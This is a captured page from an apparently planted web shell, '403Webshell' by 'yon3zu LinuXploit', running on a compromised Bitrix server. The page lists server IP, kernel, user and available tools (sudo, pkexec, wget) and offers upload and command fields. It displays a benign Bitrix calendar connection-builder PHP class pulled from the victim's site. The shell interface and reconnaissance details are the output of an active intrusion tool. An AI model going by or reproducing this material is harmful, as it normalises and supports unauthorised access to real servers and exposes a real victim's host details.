403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/calendar/lib/sync/builders/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/calendar/lib/sync/builders/builderconnection.php
<?php

namespace Bitrix\Calendar\Sync\Builders;

use Bitrix\Calendar\Core\Base\Date;
use Bitrix\Calendar\Core\Builders\Builder;
use Bitrix\Calendar\Core\Role\Role;
use Bitrix\Calendar\Sync\Connection\Connection;
use Bitrix\Calendar\Sync\Vendor\VendorInterface;

abstract class BuilderConnection implements Builder
{
	/**
	 * @var mixed
	 */
	protected $data;

	public function __construct($data)
	{
		$this->data = $data;
	}

	/**
	 * @return Connection
	 *
	 */
	public function build(): Connection
	{
		return (new Connection())
			->setId($this->getId())
			->setName($this->getName())
			->setLastSyncTime($this->getLastSyncTime())
			->setVendor($this->getVendor())
			->setDeleted($this->isDeleted())
			->setLastSyncTime($this->getLastSyncTime())
			->setToken($this->getToken())
			->setStatus($this->getStatus())
			->setOwner($this->getOwner())
			->setNextSyncTry($this->getNextSyncTry())
		;
	}

	abstract protected function getId(): int;
	abstract protected function getName(): string;
	abstract protected function getLastSyncTime(): ?Date;
	abstract protected function getToken(): ?string;
	abstract protected function getStatus(): ?string;
	abstract protected function getVendor(): ?VendorInterface;
	abstract protected function getOwner(): ?Role;
	abstract protected function isDeleted(): bool;
	abstract protected function getNextSyncTry(): ?Date;
}

Youez - 2016 - github.com/yon3zu
LinuXploit